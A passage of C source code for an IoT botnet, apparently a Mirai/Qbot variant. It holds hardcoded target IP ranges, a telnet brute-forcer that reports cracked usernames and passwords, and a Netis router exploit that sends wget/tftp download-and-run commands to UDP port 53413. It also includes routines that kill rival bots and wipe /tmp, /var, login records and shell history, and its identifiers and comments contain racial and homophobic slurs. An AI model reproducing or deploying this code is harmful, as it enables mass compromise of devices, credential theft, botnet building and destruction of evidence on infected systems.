  971. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 104)
  974. {
  975. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 105)
  978. {
  979. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 106)
  982. {
  983. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 107)
  986. {
  987. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 108)
  990. {
  991. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 109)
  994. {
  995. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 110)
  998. {
  999. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 111)
  1002. {
  1003. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 112)
  1006. {
  1007. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 113)
  1010. {
  1011. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 114)
  1014. {
  1015. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 115)
  1018. {
  1019. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 116)
  1022. {
  1023. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 117)
  1026. {
  1027. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 118)
  1030. {
  1031. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 119)
  1034. {
  1035. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1036. }
  1037. if(randnum == 120)
  1038. {
  1039. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 121)
  1042. {
  1043. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 122)
  1046. {
  1047. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum == 123)
  1050. {
  1051. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 124)
  1054. {
  1055. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 125)
  1058. {
  1059. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 126)
  1062. {
  1063. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum == 127)
  1066. {
  1067. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum == 128)
  1070. {
  1071. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum == 129)
  1074. {
  1075. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 130)
  1078. {
  1079. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 131)
  1082. {
  1083. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 132)
  1086. {
  1087. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 133)
  1090. {
  1091. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 134)
  1094. {
  1095. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 135)
  1098. {
  1099. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 136)
  1102. {
  1103. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 137)
  1106. {
  1107. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 138)
  1110. {
  1111. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 139)
  1114. {
  1115. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 140)
  1118. {
  1119. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 141)
  1122. {
  1123. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 142)
  1126. {
  1127. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 143)
  1130. {
  1131. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 144)
  1134. {
  1135. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 145)
  1138. {
  1139. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 146)
  1142. {
  1143. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 147)
  1146. {
  1147. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 148)
  1150. {
  1151. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 149)
  1154. {
  1155. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 150)
  1158. {
  1159. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 151)
  1162. {
  1163. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 152)
  1166. {
  1167. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 153)
  1170. {
  1171. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 154)
  1174. {
  1175. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 155)
  1178. {
  1179. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 156)
  1182. {
  1183. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 157)
  1186. {
  1187. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 158)
  1190. {
  1191. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 159)
  1194. {
  1195. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 160)
  1198. {
  1199. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 161)
  1202. {
  1203. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 162)
  1206. {
  1207. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 163)
  1210. {
  1211. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 164)
  1214. {
  1215. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 165)
  1218. {
  1219. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 166)
  1222. {
  1223. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 167)
  1226. {
  1227. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 168)
  1230. {
  1231. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 169)
  1234. {
  1235. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 171)
  1238. {
  1239. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 172)
  1242. {
  1243. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 173)
  1246. {
  1247. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 174)
  1250. {
  1251. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 175)
  1254. {
  1255. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 176)
  1258. {
  1259. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 177)
  1262. {
  1263. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 178)
  1266. {
  1267. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 179)
  1270. {
  1271. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 180)
  1274. {
  1275. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 181)
  1278. {
  1279. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 182)
  1282. {
  1283. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 183)
  1286. {
  1287. szprintf(ip, "163.53.255.%d", ipState[4]);
  1288. }
  1289. if(randnum == 184)
  1290. {
  1291. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 185)
  1294. {
  1295. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 186)
  1298. {
  1299. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301. if(randnum == 187)
  1302. {
  1303. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1304. }
  1305. if(randnum == 188)
  1306. {
  1307. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1308. }
  1309. if(randnum == 189)
  1310. {
  1311. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1312. }
  1313. if(randnum == 190)
  1314. {
  1315. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1316. }
  1317. if(randnum == 191)
  1318. {
  1319. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1320. }
  1321. if(randnum == 192)
  1322. {
  1323. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1324. }
  1325. if(randnum == 193)
  1326. {
  1327. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1328. }
  1329. if(randnum == 194)
  1330. {
  1331. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1332. }
  1333. if(randnum == 195)
  1334. {
  1335. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1336. }
  1337. if(randnum == 196)
  1338. {
  1339. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1340. }
  1341. if(randnum == 197)
  1342. {
  1343. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1344. }
  1345. if(randnum == 198)
  1346. {
  1347. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1348. }
  1349. if(randnum == 199)
  1350. {
  1351. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1352. }
  1353. if(randnum == 200)
  1354. {
  1355. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1356. }
  1357. if(randnum == 201)
  1358. {
  1359. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1360. }
  1361. if(randnum == 201)
  1362. {
  1363. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1364. }
  1365. if(randnum == 202)
  1366. {
  1367. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1368. }
  1369. if(randnum == 203)
  1370. {
  1371. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1372. }
  1373. if(randnum == 204)
  1374. {
  1375. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1376. }
  1377. if(randnum == 205)
  1378. {
  1379. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1380. }
  1381. if(randnum == 206)
  1382. {
  1383. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1384. }
  1385. if(randnum == 207)
  1386. {
  1387. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1388. }
  1389. if(randnum == 208)
  1390. {
  1391. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1392. }
  1393. if(randnum == 209)
  1394. {
  1395. szprintf(ip, "103.206.%d.%d", ipState[3], ipState[4]);
  1396. }
  1397. if(randnum == 210)
  1398. {
  1399. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  1400. }
  1401. if(randnum == 211)
  1402. {
  1403. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  1404. }
  1405. if(randnum == 212)
  1406. {
  1407. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  1408. }
  1409. if(randnum == 213)
  1410. {
  1411. szprintf(ip, "111.11.%d.%d", ipState[3], ipState[4]);
  1412. }
  1413. if(randnum == 214)
  1414. {
  1415. szprintf(ip, "111.20.%d.%d", ipState[3], ipState[4]);
  1416. }
  1417. if(randnum == 215)
  1418. {
  1419. szprintf(ip, "111.26.%d.%d", ipState[3], ipState[4]);
  1420. }
  1421. if(randnum == 216)
  1422. {
  1423. szprintf(ip, "111.13.%d.%d", ipState[3], ipState[4]);
  1424. }
  1425. if(randnum == 217)
  1426. {
  1427. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  1428. }
  1429. if(randnum == 218)
  1430. {
  1431. szprintf(ip, "103.21.%d.%d", ipState[3], ipState[4]);
  1432. }
  1433. if(randnum == 219)
  1434. {
  1435. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  1436. }
  1437. if(randnum == 220)
  1438. {
  1439. szprintf(ip, "103.7.%d.%d", ipState[3], ipState[4]);
  1440. }
  1441. if(randnum == 221)
  1442. {
  1443. szprintf(ip, "163.53.254.%d", ipState[4]);
  1444. }
  1445. if(randnum == 222)
  1446. {
  1447. szprintf(ip, "113.186.%d.%d", ipState[3], ipState[4]);
  1448. }
  1449. return inet_addr(ip);
  1450. }
  1451. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122,39,123,124,125,128,131,132,138,14,140,141,148,151,162.163,167,14,103,105,183,168,171,2,198,191,41,42,43,37,201,200,80,81,82,83,84,85,86,87,88,89,90};
  1452. in_addr_t NetisRanges()
  1453. {
  1454. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1455. ipState[1] = Dickranges[range];
  1456. ipState[2] = rand() % 255;
  1457. ipState[3] = rand() % 255;
  1458. ipState[4] = rand() % 255;
  1459. char ip[16] = {0};
  1460. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1461. return inet_addr(ip);
  1462. }
  1463. in_addr_t HackerScan(in_addr_t netmask)
  1464. {
  1465. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1466. return tmp ^ ( rand_cmwc() & ~netmask);
  1467. }
  1468. unsigned short csum (unsigned short *buf, int count)
  1469. {
  1470. register uint64_t sum = 0;
  1471. while( count > 1 ) { sum += *buf++; count -= 2; }
  1472. if(count > 0) { sum += *(unsigned char *)buf; }
  1473. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1474. return (uint16_t)(~sum);
  1475. }
  1476. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1477. {
  1478. struct tcp_pseudo
  1479. {
  1480. unsigned long src_addr;
  1481. unsigned long dst_addr;
  1482. unsigned char zero;
  1483. unsigned char proto;
  1484. unsigned short length;
  1485. } pseudohead;
  1486. unsigned short total_len = iph->tot_len;
  1487. pseudohead.src_addr=iph->saddr;
  1488. pseudohead.dst_addr=iph->daddr;
  1489. pseudohead.zero=0;
  1490. pseudohead.proto=IPPROTO_TCP;
  1491. pseudohead.length=htons(sizeof(struct tcphdr));
  1492. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1493. unsigned short *tcp = malloc(totaltcp_len);
  1494. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1495. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1496. unsigned short output = csum(tcp,totaltcp_len);
  1497. free(tcp);
  1498. return output;
  1499. }
  1500. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1501. {
  1502. iph->ihl = 5;
  1503. iph->version = 4;
  1504. iph->tos = 0;
  1505. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1506. iph->id = rand_cmwc();
  1507. iph->frag_off = 0;
  1508. iph->ttl = MAXTTL;
  1509. iph->protocol = protocol;
  1510. iph->check = 0;
  1511. iph->saddr = source;
  1512. iph->daddr = dest;
  1513. }
  1514. int sclose(int fd)
  1515. {
  1516. if(3 > fd) return 1;
  1517. close(fd);
  1518. return 0;
  1519. }
  1520. struct telstate_t
  1521. {
  1522. int fd;
  1523. unsigned int ip;
  1524. unsigned char state;
  1525. unsigned char complete;
  1526. unsigned char usernameInd;
  1527. unsigned char passwordInd;
  1528. unsigned int DickWeedOut;
  1529. unsigned short bufUsed;
  1530. char *sockbuf;
  1531. };
  1532. const char* get_telstate_host(struct telstate_t* telstate)
  1533. {
  1534. struct in_addr in_addr_ip;
  1535. in_addr_ip.s_addr = telstate->ip;
  1536. return inet_ntoa(in_addr_ip);
  1537. }
  1538. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1539. {
  1540. int num_bytes, i;
  1541. memset(buffer, 0, buf_size);
  1542. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1543. if(buffer[0] == 0xFF)
  1544. {
  1545. negotiate(fd, buffer, 3);
  1546. }
  1547. if(contains_string(buffer, strings))
  1548. {
  1549. return 1;
  1550. }
  1551. return 0;
  1552. }
  1553. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1554. {
  1555. fd_set read_set;
  1556. struct timeval tv;
  1557. tv.tv_sec = 0;
  1558. tv.tv_usec = timeout_usec;
  1559. FD_ZERO(&read_set);
  1560. FD_SET(fd, &read_set);
  1561. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1562. return 0;
  1563. return recv(fd, buffer, buf_size, 0);
  1564. }
  1565. int contains_success(char* buffer)
  1566. {
  1567. return contains_string(buffer, KGSVYGXA);
  1568. }
  1569. int contains_fail(char* buffer)
  1570. {
  1571. return contains_string(buffer, bhuhwys);
  1572. }
  1573. int contains_string(char* buffer, char** strings)
  1574. {
  1575. int num_strings = 0, i = 0;
  1576. for(num_strings = 0; strings[++num_strings] != 0; );
  1577. for(i = 0; i < num_strings; i++)
  1578. {
  1579. if(strcasestr(buffer, strings[i]))
  1580. {
  1581. return 1;
  1582. }
  1583. }
  1584. return 0;
  1585. }
  1586. //major improvments done by Jonah
  1587. void StartTheLelz() {
  1588. int max = (getdtablesize() / 4) * 3, i, res, j;
  1589. max = max > 512 ? 512 : max;
  1590. char buf[128], cur_dir;
  1591. int wait_usec = 10;
  1592. fd_set fdset;
  1593. struct timeval tv;
  1594. socklen_t lon;
  1595. int valopt;
  1596. srand(time(NULL) ^ rand_cmwc());
  1597. char line[256];
  1598. char* buffer;
  1599. struct sockaddr_in dest_addr;
  1600. dest_addr.sin_family = AF_INET;
  1601. dest_addr.sin_port = htons(23);
  1602. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1603. buffer = malloc(BUFFER_BITCH + 1);
  1604. memset(buffer, 0, BUFFER_BITCH + 1);
  1605. struct telstate_t fds[max];
  1606. memset(fds, 0, max * (sizeof(int) + 1));
  1607. for(i = 0; i < max; i++) {
  1608. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1609. fds[i].complete = 1;
  1610. fds[i].sockbuf = buffer; }
  1611. while(1) {
  1612. for(i = 0; i < max; i++) {
  1613. if(fds[i].DickWeedOut == 0) {
  1614. fds[i].DickWeedOut = time(NULL); }
  1615. switch(fds[i].state) {
  1616. case 0: {
  1617. if(fds[i].complete == 1) {
  1618. char *tmp = fds[i].sockbuf;
  1619. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1620. fds[i].sockbuf = tmp;
  1621. fds[i].ip = HackerScan2(); }
  1622. else if(fds[i].complete == 0) {
  1623. fds[i].passwordInd++;
  1624. fds[i].usernameInd++;
  1625. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1626. fds[i].complete = 1;
  1627. continue; }
  1628. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1629. fds[i].complete = 1;
  1630. continue; } }
  1631. dest_addr.sin_family = AF_INET;
  1632. dest_addr.sin_port = htons(23);
  1633. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1634. dest_addr.sin_addr.s_addr = fds[i].ip;
  1635. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1636. if(fds[i].fd == -1) continue;
  1637. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1638. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1639. sclose(fds[i].fd);
  1640. fds[i].complete = 1;
  1641. } else {
  1642. fds[i].state = 1;
  1643. fds[i].DickWeedOut = 0;
  1644. }
  1645. }
  1646. break;
  1647. case 1: {
  1648. FD_ZERO(&fdset);
  1649. FD_SET(fds[i].fd, &fdset);
  1650. tv.tv_sec = 0;
  1651. tv.tv_usec = 10000;
  1652. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1653. if(res == 1) {
  1654. lon = sizeof(int);
  1655. valopt = 0;
  1656. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1657. if(valopt) {
  1658. sclose(fds[i].fd);
  1659. fds[i].state = 0;
  1660. fds[i].complete = 1;
  1661. } else {
  1662. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1663. fds[i].DickWeedOut = 0;
  1664. fds[i].bufUsed = 0;
  1665. memset(fds[i].sockbuf, 0, 1024);
  1666. fds[i].state = 2;
  1667. } continue; }
  1668. else if(res == -1) {
  1669. sclose(fds[i].fd);
  1670. fds[i].state = 0;
  1671. fds[i].complete = 1;
  1672. continue; }
  1673. if(fds[i].DickWeedOut + 6 < time(NULL)) {
  1674. sclose(fds[i].fd);
  1675. fds[i].state = 0;
  1676. fds[i].complete = 1;
  1677. }
  1678. }
  1679. break;
  1680. case 2: {
  1681. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_BITCH, SGSGWUD)) {
  1682. if(contains_fail(fds[i].sockbuf)) {
  1683. fds[i].state = 0;
  1684. } else {
  1685. fds[i].state = 3; }
  1686. continue;
  1687. }
  1688. if(fds[i].DickWeedOut + 6 < time(NULL)) {
  1689. fds[i].state = 0;
  1690. fds[i].complete = 1;
  1691. }
  1692. }
  1693. break;
  1694. case 3: {
  1695. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1696. fds[i].state = 0;
  1697. fds[i].complete = 1;
  1698. continue; }
  1699. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1700. fds[i].state = 0;
  1701. fds[i].complete = 1;
  1702. continue; }
  1703. fds[i].state = 4;
  1704. }
  1705. break;
  1706. case 4: {
  1707. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_BITCH, SGSGWUD)) {
  1708. if(contains_fail(fds[i].sockbuf)) {
  1709. fds[i].state = 0;
  1710. } else {
  1711. fds[i].state = 5; }
  1712. continue; }
  1713. if(fds[i].DickWeedOut + 6 < time(NULL)) {
  1714. fds[i].state = 0;
  1715. fds[i].complete = 1;
  1716. }
  1717. }
  1718. break;
  1719. case 5: {
  1720. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1721. fds[i].state = 0;
  1722. fds[i].complete = 1;
  1723. continue; }
  1724. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1725. fds[i].state = 0;
  1726. fds[i].complete = 1;
  1727. continue; }
  1728. fds[i].state = 6; }
  1729. break;
  1730. case 6: {
  1731. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_BITCH, SGSGWUD2)) {
  1732. fds[i].DickWeedOut = time(NULL);
  1733. if(contains_fail(fds[i].sockbuf)) {
  1734. fds[i].state = 0; }
  1735. else if(contains_success(fds[i].sockbuf)) {
  1736. if(fds[i].complete == 2) {
  1737. fds[i].state = 7;
  1738. } else {
  1739. HackerPrint(D1ckSucka, "\x1b[0;31mSuccessfully Bruteforced IP: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1740. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1741. fds[i].state = 7; }
  1742. } else {
  1743. fds[i].state = 0;
  1744. fds[i].complete = 1; }
  1745. continue; }
  1746. if(fds[i].DickWeedOut + 7 < time(NULL)) {
  1747. fds[i].state = 0;
  1748. fds[i].complete = 1; } }
  1749. break;
  1750. case 7: {
  1751. fds[i].DickWeedOut = time(NULL);
  1752. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1753. sclose(fds[i].fd);
  1754. fds[i].state = 0;
  1755. fds[i].complete = 1;
  1756. continue; }
  1757. fds[i].complete = 3;
  1758. if(fds[i].DickWeedOut + 60 < time(NULL)) {
  1759. if(fds[i].complete !=3){
  1760. }
  1761. fds[i].state = 0;
  1762. fds[i].complete = 1;
  1763. }
  1764. break;
  1765. }
  1766. }
  1767. }
  1768. }
  1769. }
  1770. //fixed by cheats
  1771. void StartTheNetis()
  1772. {
  1773. while(1){
  1774. char payload2[1024];
  1775. int clientSocket, portNum, nBytes;
  1776. struct sockaddr_in serverAddr;
  1777. socklen_t addr_size;
  1778. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1779. uint32_t ip;
  1780. ip = NetisRanges();
  1781. serverAddr.sin_family = AF_INET;
  1782. serverAddr.sin_port = htons(53413);
  1783. serverAddr.sin_addr.s_addr = ip;
  1784. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1785. addr_size = sizeof serverAddr;
  1786. sprintf(payload2, "%s cd /var/; rm -rf tftp; wget http://0.0.0.0/tftp || tftp -r tftp -g 0.0.0.0; chmod 777 tftp; ./tftp; rm -rf tftp\x00", NETIS);
  1787. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1788. }
  1789. }
  1790. //botkill
  1791. void botkiller(){
  1792. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", /*"/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/",*/ (char*) 0};//wtf are we doing here well these are the directory
  1793. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586", "busyboxterrorist", "busyboxfaggot", "dvrHelper"};
  1794. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*", "mirai*", "kaiten*", "iot*", "botnet*"};
  1795. char hacker[80];
  1796. char botkill[80];
  1797. char buf[128];
  1798. int i, num_tmps, j;
  1799. for(j = 0; j < num_tmps; j++)
  1800. {
  1801. memset(buf, 0, 128);
  1802. if(j == 0)
  1803. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  1804. else
  1805. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  1806. system(buf);
  1807. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  1808. system(botkill);
  1809. return;
  1810. }
  1811. sleep(5);
  1812. }
  1813. //Cleaning Device
  1814. void RemoveTMP() {
  1815. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  1816. system("rm -rf /var/log/wtmp");
  1817. system("history -c;history -w");
